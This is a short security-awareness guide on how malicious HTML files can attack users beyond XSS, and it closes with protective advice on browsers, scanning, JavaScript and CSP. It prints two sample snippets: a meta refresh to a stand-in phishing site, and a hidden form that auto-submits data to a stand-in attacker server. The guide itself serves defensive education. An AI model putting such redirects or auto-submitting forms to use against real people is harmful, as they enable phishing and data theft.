Malicious HTML Attacks: Beyond XSS

TL;DR

A malicious HTML file can do more than just Cross-Site Scripting (XSS). It can download files, run programs (if the user allows), redirect to phishing sites, and steal information. This guide shows you how these attacks work and how to protect yourself.

Understanding the Threat

While XSS focuses on injecting scripts into trusted websites, a malicious HTML file is itself the threat. Users open it directly (often disguised as something else), giving it more power than a script injected into a website.

How Attacks Work: Beyond Javascript

1. File Downloads: A malicious HTML page can trigger downloads without user interaction in some cases, or with minimal prompting.
2. Redirection to Phishing Sites: The <meta http-equiv="refresh" content="0; url=https://phishingsite.com"> tag redirects the user automatically.
3. Form Submission (Data Theft): HTML forms can be crafted to send data to an attacker’s server.

   <form action="https://attackerserver.com/collect.php" method="POST">
    <input type="hidden" name="data" value="User's sensitive information">
    </form>
    <script>
   document.forms[0].submit();
   </script>

4. Local File Access (Limited): Javascript within the HTML can attempt to read local files, though browser security often restricts this significantly. It’s more likely to work if the user explicitly allows it through a prompt.
5. Running Programs (Social Engineering Required): HTML cannot directly run executables. However, it can trick users into downloading and running them.
   • Disguising an executable as a harmless file type (e.g., image).
   • Using social engineering to convince the user it’s safe.
6. Browser Exploits: Older browsers or those with unpatched vulnerabilities can be exploited directly through crafted HTML and Javascript. This is less common now due to improved browser security.

Protecting Yourself

1. Be Careful What You Open: The most important step! Don’t open HTML files from untrusted sources. Be suspicious of emails with attachments, even if they appear to be from someone you know.
2. Scan Files Before Opening: Use an antivirus program to scan any downloaded HTML file before opening it.
3. Keep Your Browser Updated: Browser updates include security patches that protect against known vulnerabilities.
4. Use a Secure Browser: Some browsers offer better protection against malicious websites and files than others.
5. Disable Javascript (Advanced): Disabling Javascript completely will prevent many attacks, but it will also break some website functionality. Consider using browser extensions to selectively enable Javascript only on trusted sites.

   // In your browser settings, find the JavaScript options and disable it.

6. Content Security Policy (CSP) – For Web Developers: If you control a website, use CSP headers to restrict the sources from which scripts can be loaded. This helps mitigate XSS attacks but doesn’t directly protect against users opening malicious HTML files.

   Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com;

7. Educate Yourself and Others: Understanding the risks is crucial for staying safe online. Share this information with friends and family.